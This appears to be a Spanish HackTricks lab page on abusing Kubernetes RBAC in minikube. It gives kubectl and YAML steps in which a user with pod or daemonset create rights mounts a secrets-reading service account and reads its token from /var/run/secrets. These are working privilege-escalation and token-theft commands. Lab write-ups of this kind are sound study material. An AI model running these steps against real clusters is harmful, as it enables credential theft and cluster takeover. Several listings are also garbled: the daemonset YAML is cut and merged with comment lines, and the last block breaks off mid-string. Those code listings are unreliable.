Kubernetes Roles Abuse Lab

¡Apoya a HackTricks y obtén beneficios!

Puedes ejecutar estos laboratorios dentro de minikube.

Creación de Pod -> Escalada a ns SAs

Vamos a crear:

  • Una cuenta de servicio "test-sa" con un privilegio de clúster para leer secretos

    • Se creará un ClusterRole "test-cr" y un ClusterRoleBinding "test-crb"

  • Se darán permisos para listar y crear pods a un usuario llamado "Test"

    • Se creará un Role "test-r" y un RoleBinding "test-rb"

  • Luego confirmaremos que el SA puede listar secretos y que el usuario Test puede listar pods

  • Finalmente, suplantaremos al usuario Test para crear un pod que incluya el SA test-sa y robar el token de la cuenta de servicio.

    • Esta es la forma de mostrar que el usuario podría escalar privilegios de esta manera.

Para crear el escenario se utiliza una cuenta de administrador. Además, para exfiltrar el token de la cuenta de servicio en este ejemplo se utiliza la cuenta de administrador para ejecutar dentro del pod creado. Sin embargo, como se explica aquí, la declaración del pod podría contener la exfiltración del token, por lo que el privilegio "exec" no es necesario para exfiltrar el token, el permiso "create" es suficiente.

# Crear cuenta de servicio test-sa
# Crear rol y vinculación de roles para dar permisos de lista y creación sobre pods en el espacio de nombres predeterminado al usuario Test
# Crear clusterrole y clusterrolebinding para dar acceso al SA test-sa a los secretos en todas partes

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: ServiceAccount
    name: test-sa
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: [""]
    resources: ["secrets"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb
subjects:
  - kind: ServiceAccount
    namespace: default
    name: test-sa
    apiGroup: ""
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Comprobar que test-sa puede acceder a los secretos de kube-system
kubectl --as system:serviceaccount:default:test-sa -n kube-system get secrets

# Comprobar que el usuario Test puede obtener pods en el espacio de nombres predeterminado
kubectl --as Test -n default get pods

# Crear un pod como usuario Test con el SA test-sa (paso de escalada de privilegios)
echo "apiVersion: v1
kind: Pod
metadata:
  name: test-pod
  namespace: default
spec:
  containers:
  - name: alpine
    image: alpine
    command: ['/bin/sh']
    args: ['-c', 'sleep 100000']
  serviceAccountName: test-sa
  automountServiceAccountToken: true
  hostNetwork: true"| kubectl --as Test apply -f -

# Conéctese al pod creado y confirme que el token de la cuenta de servicio adjunto pertenece a test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Limpiar el escenario
kubectl delete pod test-pod
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

Crear Daemonset

# Crear cuenta de servicio test-sa
# Crear rol y vinculación de roles para dar permisos de lista y creación sobre daemonsets en el espacio de nombres predeterminado al usuario Test
# Crear clusterrole y clusterrolebinding para dar acceso al SA test-sa a los secretos en todas partes

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: ["apps"]
    resources: ["daemonsets"]
    verbs: ["get", "list", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: User
    name: Test
# Comprobar que el usuario Test puede obtener los pods en el namespace default
kubectl --as Test -n default get daemonsets

# Crear un daemonset como usuario Test con el SA test-sa (paso de escalada de privilegios)
echo "apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: default
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      serviceAccountName: test-sa
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ['/bin/sh']
        args: ['-c', 'sleep 100000']"| kubectl --as Test apply -f -

# Conéctese al pod creado y confirme que el token SA adjunto pertenece a test-sa
kubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Limpiar el escenario
kubectl delete daemonset alpine
kubectl delete clusterrolebinding test-crb
kubectl delete clusterrole test-cr
kubectl delete rolebinding test-rb
kubectl delete role test-r
kubectl delete serviceaccount test-sa

No funciona

Crear/Modificar Bindings

No funciona:

  • Crear un nuevo RoleBinding solo con el verbo create

  • Crear un nuevo RoleBinding solo con el verbo patch (necesita tener permisos de binding)

    • No se puede hacer esto para asignar el rol a sí mismo o a un SA diferente

  • Modificar un nuevo RoleBinding solo con el verbo patch (necesita tener permisos de binding)

    • No se puede hacer esto para asignar el rol a sí mismo o a un SA diferente

echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa2
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r
rules:
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["rolebindings"]
    verbs: ["get", "patch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb
subjects:
  - kind: User
    name: Test
roleRef:
  kind: Role
  name: test-r
  apiGroup: rbac.authorization.k8s.io
---
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-r2
rules:
  - apiGroups: [""]
    resources: ["pods"]
    verbs: ["get", "list", "delete", "patch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-rb2
subjects:
  - kind: ServiceAccount
    name: test-sa
    apiGroup: ""
roleRef:
  kind: Role
  name: test-r2
  apiGroup: rbac.authorization.k8s.io' | kubectl apply -f -

# Crear un pod como usuario Test con el SA test-sa (paso de escalada de privilegios)
echo "apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: test-r2
subjects:
  - kind: ServiceAccount
    name: test-sa2
    apiGroup: ""
roleRef:
  kind: Role
  name: test-r2
  apiGroup: rbac.authorization.k8s.io"| kubectl --as Test apply -f -

# Conéctese al pod creado y confirme que el token SA adjunto pertenece a test-sa
kubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d

# Limpiar el escenario
kubectl delete rolebinding test-rb
kubectl delete rolebinding test-rb2
kubectl delete role test-r
kubectl delete role test-r2
kubectl delete serviceaccount test-sa
kubectl delete serviceaccount test-sa2

Bindings explícitos

En la sección "Prevención de la escalada de privilegios y arranque" de https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/ se menciona que si un SA puede crear un Binding y tiene permisos explícitos de Binding sobre el Rol/ClusterRole, puede crear Bindings incluso usando Roles/ClusterRoles con permisos que no tiene. Sin embargo, no funcionó para mí:

# Crear 2 SAs, darle a uno de ellos permisos para crear clusterrolebindings
# y permisos de binding sobre el ClusterRole "admin"
echo 'apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa
---
apiVersion: v1
kind: ServiceAccount
metadata:
  name: test-sa2
---
kind: ClusterRole
apiVersion: rbac.authorization.k8s.io/v1
metadata:
  name: test-cr
rules:
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["clusterrolebindings"]
    verbs: ["get", "create"]
  - apiGroups: ["rbac.authorization.k8s.io/v1"]
    resources: ["clusterroles"]
    verbs: ["bind"]
    resourceNames: ["admin"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-crb
subjects:
  - kind: ServiceAccount
    name: test-sa
    namespace: default
roleRef:
  kind: ClusterRole
  name: test-cr
  apiGroup: rbac.authorization.k8s.io
' | kubectl apply -f -

# Intentar vincular el ClusterRole "admin" con el segundo SA (no funcionará)
echo 'apiVersion: rbac.authorization.k8s

Última actualización